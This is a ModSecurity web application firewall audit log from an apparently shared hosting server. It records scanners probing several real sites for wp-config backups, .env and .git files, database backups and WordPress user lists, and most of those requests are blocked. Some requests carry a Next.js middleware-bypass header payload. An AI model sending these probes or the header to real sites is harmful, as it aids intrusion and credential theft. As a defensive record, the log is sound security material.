Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-09.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSfkwu1RSkptiiNIX86QAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-09.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqaSfkwu1RSkptiiNIX86QAAAJQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789301374233782 58313 (- - -)
Stopwatch2: 1789301374233782 58313; combined=57063, p1=327, p2=56274, p3=0, p4=0, p5=462, sr=156, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e423ce25-Z--

--242fe22f-A--
[13/Sep/2026:15:09:37.706482 +0300] aqaSgTTJ6xTvcJoem7f9MgAAAEI 111.230.241.169 39182 127.0.0.1 7081
--242fe22f-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--242fe22f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--242fe22f-E--

--242fe22f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqaSgTTJ6xTvcJoem7f9MgAAAEI"]
Stopwatch: 1789301377699555 6992 (- - -)
Stopwatch2: 1789301377699555 6992; combined=5392, p1=345, p2=4885, p3=99, p4=10, p5=53, sr=141, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--242fe22f-Z--

--4bde4a5b-A--
[13/Sep/2026:15:11:11.167212 +0300] aqaS32M7dE9KgIIOpQh9aQAAAMg 111.230.241.169 55814 127.0.0.1 7081
--4bde4a5b-B--
GET /.hg/store/00manifest.i HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--4bde4a5b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4bde4a5b-H--
Message: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-11.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqaS32M7dE9KgIIOpQh9aQAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-11.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqaS32M7dE9KgIIOpQh9aQAAAMg"]
Action: Intercepted (phase 2)
Stopwatch: 1789301471105007 62250 (- - -)
Stopwatch2: 1789301471105007 62250; combined=60330, p1=231, p2=59742, p3=0, p4=0, p5=357, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4bde4a5b-Z--

--3b8da075-A--
[13/Sep/2026:15:13:26.332357 +0300] aqaTZmM7dE9KgIIOpQh9fAAAAMY 111.230.241.169 37388 127.0.0.1 7081
--3b8da075-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--3b8da075-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3b8da075-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqaTZmM7dE9KgIIOpQh9fAAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqaTZmM7dE9KgIIOpQh9fAAAAMY"]
Action: Intercepted (phase 2)
Stopwatch: 1789301606272904 59503 (- - -)
Stopwatch2: 1789301606272904 59503; combined=57723, p1=296, p2=57116, p3=0, p4=0, p5=311, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3b8da075-Z--

--559aa30f-A--
[13/Sep/2026:15:13:41.178374 +0300] aqaTdWM7dE9KgIIOpQh9fgAAANA 111.230.241.169 38098 127.0.0.1 7081
--559aa30f-B--
GET /backup.zip HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--559aa30f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--559aa30f-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqaTdWM7dE9KgIIOpQh9fgAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqaTdWM7dE9KgIIOpQh9fgAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789301621121582 56842 (- - -)
Stopwatch2: 1789301621121582 56842; combined=55264, p1=269, p2=54695, p3=0, p4=0, p5=300, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--559aa30f-Z--

--e990636e-A--
[13/Sep/2026:15:13:43.781274 +0300] aqaTd2M7dE9KgIIOpQh9fwAAANU 111.230.241.169 38102 127.0.0.1 7081
--e990636e-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--e990636e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e990636e-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqaTd2M7dE9KgIIOpQh9fwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-13.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqaTd2M7dE9KgIIOpQh9fwAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789301623724800 56538 (- - -)
Stopwatch2: 1789301623724800 56538; combined=55240, p1=228, p2=54638, p3=0, p4=0, p5=373, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e990636e-Z--

--6e14222c-A--
[13/Sep/2026:15:15:21.469077 +0300] aqaT2WM7dE9KgIIOpQh9lQAAANM 111.230.241.169 58070 127.0.0.1 7081
--6e14222c-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 111.230.241.169
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--6e14222c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6e14222c-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-15.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqaT2WM7dE9KgIIOpQh9lQAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:15-15.111.230.241.169||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqaT2WM7dE9KgIIOpQh9lQAAANM"]
Action: Intercepted (phase 2)
Stopwatch: 1789301721407339 61787 (- - -)
Stopwatch2: 1789301721407339 61787; combined=60206, p1=294, p2=59613, p3=0, p4=0, p5=298, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e14222c-Z--

--dcc7af5b-A--
[13/Sep/2026:15:15:35.939559 +0300] aqaT5ysVWymXUono-eRW0wAAABg 34.186.127.109 54458 127.0.0.1 7081
--dcc7af5b-B--
GET //?author=1 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 34.186.127.109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--dcc7af5b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dcc7af5b-E--

--dcc7af5b-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789301735291937 647720 (- - -)
Stopwatch2: 1789301735291937 647720; combined=3058, p1=248, p2=2640, p3=105, p4=22, p5=43, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dcc7af5b-Z--

--7b62922a-A--
[13/Sep/2026:15:15:39.210549 +0300] aqaT6CsVWymXUono-eRW1AAAAAA 34.186.127.109 51812 127.0.0.1 7081
--7b62922a-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: chania24.taxi
X-Real-IP: 34.186.127.109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

--7b62922a-F--
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--7b62922a-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789301736269395 2941212 (- - -)
Stopwatch2: 1789301736269395 2941212; combined=35607, p1=523, p2=35034, p3=0, p4=0, p5=49, sr=271, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7b62922a-Z--

--00aa7e4d-A--
[13/Sep/2026:15:21:12.337824 +0300] aqaVK2M7dE9KgIIOpQh@CgAAAMM 136.70.168.129 48434 127.0.0.1 7081
--00aa7e4d-B--
GET /.git/config HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--00aa7e4d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://dev.chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--00aa7e4d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqaVK2M7dE9KgIIOpQh@CgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqaVK2M7dE9KgIIOpQh@CgAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqaVK2M7dE9KgIIOpQh@CgAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059598089 12739840 (- - -)
Stopwatch2: 1789302059598089 12739840; combined=37895, p1=238, p2=37593, p3=0, p4=0, p5=64, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--00aa7e4d-Z--

--de1fad2f-A--
[13/Sep/2026:15:21:18.636818 +0300] aqaVK2M7dE9KgIIOpQh@DQAAANE 136.70.168.129 48456 127.0.0.1 7081
--de1fad2f-B--
GET /.gitconfig HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--de1fad2f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://dev.chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--de1fad2f-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
